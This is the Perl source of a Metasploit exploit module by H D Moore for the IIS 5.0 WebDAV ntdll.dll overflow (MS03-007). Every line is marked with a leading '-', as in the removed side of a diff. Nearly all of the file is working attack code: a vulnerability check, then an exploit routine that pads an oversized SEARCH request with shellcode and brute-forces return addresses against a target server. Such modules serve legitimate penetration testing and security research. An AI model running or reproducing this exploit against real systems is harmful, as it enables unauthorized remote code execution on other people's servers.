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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis50_webdav_ntdll;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IIS 5.0 WebDAV ntdll.dll Overflow',
- 'Version' => '$Revision: 1.40 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits a buffer overflow in NTDLL.dll on Windows 2000
- through the SEARCH WebDAV method in IIS. This particular
- module only works against Windows 2000. It should have a
- reasonable chance of success against any service pack.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '4467'],
- ['MSB', 'MS03-007'],
- ['CVE', '2003-0109'],
- ['MIL', '28'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Windows 2000 Bruteforce']
- ],
-
- 'Keys' => ['iis'],
-
- 'DisclosureDate' => 'May 30 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- my $request;
- my $content;
-
- my $url = "x" x 65535;
-
- $request = "SEARCH /" . $url ." HTTP/1.1\r\n";
- $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
- $request .= "Content-Type: text/xml\r\n";
-
- $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
- $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
-
- $request .= "Content-Length: " . length($content) . "\r\n";
- $request .= "\r\n$content";
-
- $s->Send($request);
- my $res = $s->Recv(-1, 5);
- $s->Close();
-
- if ($res =~ /Server Error\(exception/)
- {
- $self->PrintLine("[*] Server appears to be vulnerable");
- return $self->CheckCode('Appears');
- }
-
- $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- return $self->CheckCode('Appears');
- }
- $s->Close();
-
- $self->PrintLine("[*] Server does not appear to be vulnerable");
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $use_ssl = $self->GetVar('SSL');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
-
- my @targets =
- (
-
- # Almost Targetted :)
- "\x4f\x4e", # =SP3
- "\x41\x42", # ~SP0 ~SP2
- "\x41\x43", # ~SP1, ~SP2
-
- # Generic Bruteforce
- "\x41\xc1",
- "\x41\xc3",
- "\x41\xc9",
- "\x41\xca",
- "\x41\xcb",
- "\x41\xcc",
- "\x41\xcd",
- "\x41\xce",
- "\x41\xcf",
- "\x41\xd0",
- );
-
- foreach my $ret (@targets)
- {
- my $url = ("A" x 65516);
- my $s = $self->PollWebServer();
- exit(0) if ! $s;
-
- $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...",
- unpack("V", substr($ret,0,1) . "\x00".
- substr($ret,1,1) . "\x00"
- )
- ));
-
- substr($url, length($url) - length($shellcode), length($shellcode), $shellcode);
- substr($url, 283, 2, $ret );
-
- my ($request, $content);
-
- $request = "SEARCH /" . $url ." HTTP/1.1\r\n";
- $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
- $request .= "Content-Type: text/xml\r\n";
-
- $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
- $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
-
- $request .= "Content-Length: " . length($content) . "\r\n";
- $request .= "\r\n$content";
-
- $self->PrintLine("[*] Sending request (" . length($request) . " bytes)");
- $self->PrintLine("");
- $s->Send($request);
-
- my $r = $s->Recv(-1, 5);
- sleep(2);
- $s->Close();
- }
- return;
- }
-
- sub PollWebServer {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- $self->Print("[*] Connecting to web server");
- for (1 .. 20)
- {
- $self->Print(".");
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if (! $s->IsError) {
- $self->PrintLine(" OK");
- return($s);
- }
-
- sleep(2);
- $s->Close();
- }
-
- $self->PrintLine("");
- $self->PrintLine("[*] Giving up on the web server");
- return;
- }
-
-